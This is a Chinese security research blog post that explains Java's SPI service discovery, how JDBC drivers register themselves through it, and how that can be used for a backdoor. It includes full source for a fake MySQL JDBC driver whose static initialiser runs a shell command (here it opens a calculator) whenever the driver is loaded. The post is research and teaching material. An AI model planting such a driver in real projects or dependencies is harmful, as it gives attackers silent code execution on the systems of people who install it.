从SPI机制到JDBC后门实现

pyn3rd 2022-11-11 09:49:00

0x00 SPI机制

SPI(Service Provider Interface),是JDK内置的一种服务提供发现机制,可以用来启用框架扩展和替换组件,主要是被框架的开发人员使用,比如java.sql.Driver接口,其他不同厂商可以针对同一接口做出不同的实现,MySQL和PostgreSQL都有不同的实现提供给用户,而Java的SPI机制可以为某个接口寻找服务实现。以JDBC为例,如图:

image.png

如果有兴趣,可以去找相关资料做进一步的深入了解。

0x01 SPI与JDBC

经常看到有代码在写JDBC链接时,会用到以下两步:

// Register
DriverManager.registerDriver(new com.mysql.jdbc.Driver());

// Connect
DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/test");

我之前在<Make JDBC Attacks Brilliant Again>议题的测试用例中也会这么写,主要是因为有第一步可以更容易看出案例中使用的是哪个JDBC Driver,其实没有必要,主要是因为JDBC也是利用了SPI机制实现的。

以MySQL JDBC Driver为例,写一个连接MySQL数据库的测试用例。我们通过registerDriver方法指定JDBC驱动,这里由于我的MySQL JDBC Driver升级了,从mysql-connector-5.x升级到了mysql-connector-8.x,所以报出以下错误

image-20221109152449279.png

Loading class 'com.mysql.jdbc.Driver'. This is deprecated. The new driver class is 'com.mysql.cj.jdbc.Driver'. The driver is automatically registered via the SPI and manual loading of the driver class is generally unnecessary.

报错里清楚的告诉我们是通过SPI机制完成了自动注册,通常没有必要手工注册加载。

0x02 SPI如何打破双亲委派机制

说到SPI机制,还得从类加载的过程说起。Java类加载过程中,有一个环境是初始化(Initialization),初始化阶段会执行被加载类的Static Blocks。

image.png

还是以MySQL JDBC Driver为例,调试了解下JDBC驱动的代码调用逻辑,进入DriverManager

image-20221109174054781.png

image-20221109173929380.png

com.mysql.cj.jdbc.Driver中的静态代码块调用了DriverManager类的registerDriver方法,因此JVM又会去加载DriverManager类,加载过程中DriverManager的静态代码块被执行。而 DriverManager的静态代码块中调用了loadInitialDrivers方法

image-20221109174456643.png

loadInitialDrivers方法里使用了SPI机制去获取Driver类的扩展点实现。下面是SPI的部分源码:
image-20221109174739722.png

image-20221109175142133.png

image-20221109175038910.png

image-20221109175251442.png

可以看到SPI机制使用Thread.currentThread().getContextClassLoader()来获取类加载器,而扩展点实现类通过Class<?> c = Class.forName(cn, false, loader)来获取。

这里的核心是通过Class.forName()加载我们在META-INF/services/java.sql.Driver文件中写的实现类

image-20221109180149456.png

Class.forName()使用当前的ClassLoader,我们是在DriverManager类里调用ServiceLoader的,所以当前类也就是DriverManager,它的加载器是Bootstrap ClassLoader。我们知道Bootstrap ClassLoader加载rt.jar包下的所有类,要用Bootstrap ClassLoader去加载用户自定义的类是违背双亲委派的,所以使用Thread.currentThread().getContextClassLoader去指定AppClassLoader

0x03 实现JDBC Driver后门

  • 查看ClassPath中有哪些JDBC Driver
import java.sql.Driver;
import java.util.Iterator;
import java.util.ServiceLoader;

public class JdbcDriverList {
    public static void main(String[] args) {

            ServiceLoader<Driver> serviceLoader = ServiceLoader.load(Driver.class, ClassLoader.getSystemClassLoader( ));

            for(Iterator<Driver> iterator = serviceLoader.iterator(); iterator.hasNext();) {

                Driver driver = iterator.next();

                System.out.println(driver.getClass().getPackage() + " ------> " + driver.getClass().getName());
            }
    }
}

下面的结果是我们的环境中有4种不同数据库的JDBC Driver

image.png

  • 实现JDBC Driver后门

在了解了原理以后,考虑自己去实现一个MySQL JDBC Driver的后门。目的是当用户引入fake MySQL JDBC Driver后,在建立JDBC链接时,触发执行命令,弹出计算器。由于JDBC是通过SPI机制实现的,所以不需要用户指定JDBC驱动,就可以自动加载后门驱动。

jar包结构如图

image.png

MySQLDriver.java ,执行命令的部分在静态代码块里定义,方便在initialization阶段直接加载

package com.mysql.fake.jdbc;

import java.sql.*;
import java.util.*;
import java.util.logging.*;

public class MySQLDriver implements java.sql.Driver {

    protected static boolean DEBUG = false;

    protected static final String WindowsCmd = "calc";

    protected static final String LinuxCmd = "open -a calculator";

    protected static  String shell;

    protected static  String args;

    protected static  String cmd;



    static{
        if(DEBUG){
            Logger.getGlobal().info("Entered static JDBC driver initialization block, executing the payload...");
        }


        if( System.getProperty("os.name").toLowerCase().contains("windows") ){

            shell = "cmd.exe";
            args = "/c";
            cmd = WindowsCmd;
        } else {

            shell = "/bin/sh";
            args = "-c";
            cmd = LinuxCmd;
        }
        try{

            Runtime.getRuntime().exec(new String[] {shell, args, cmd});

        } catch(Exception ignored) {

        }
    }




    // JDBC methods below


    public boolean acceptsURL(String url){
        if(DEBUG){
            Logger.getGlobal().info("acceptsURL() called: "+url);
        }

        return false;
    }

    public Connection connect(String url, Properties info){
        if(DEBUG){
            Logger.getGlobal().info("connect() called: "+url);
        }

        return null;
    }


    public int getMajorVersion(){
        if(DEBUG){
            Logger.getGlobal().info("getMajorVersion() called");
        }

        return 1;
    }

    public int getMinorVersion(){
        if(DEBUG){
            Logger.getGlobal().info("getMajorVersion() called");
        }

        return 0;
    }

    public Logger getParentLogger(){
        if(DEBUG){
            Logger.getGlobal().info("getParentLogger() called");
        }

        return null;
    }

    public DriverPropertyInfo[] getPropertyInfo(String url, Properties info){
        if(DEBUG){
            Logger.getGlobal().info("getPropertyInfo() called: "+url);
        }

        return new DriverPropertyInfo[0];
    }

    public boolean jdbcCompliant(){
        if(DEBUG){
            Logger.getGlobal().info("jdbcCompliant() called");
        }

        return true;
    }
}

打成jar包后导入,再次查看
image.png

再次连接MySQL数据库,执行命令弹出计算器,最终达到后门效果。
image.png

评论

pyn3rd

这个人很懒,没有留下任何介绍

随机分类

二进制安全 文章:77 篇
memcache安全 文章:1 篇
业务安全 文章:29 篇
CTF 文章:62 篇
神器分享 文章:71 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录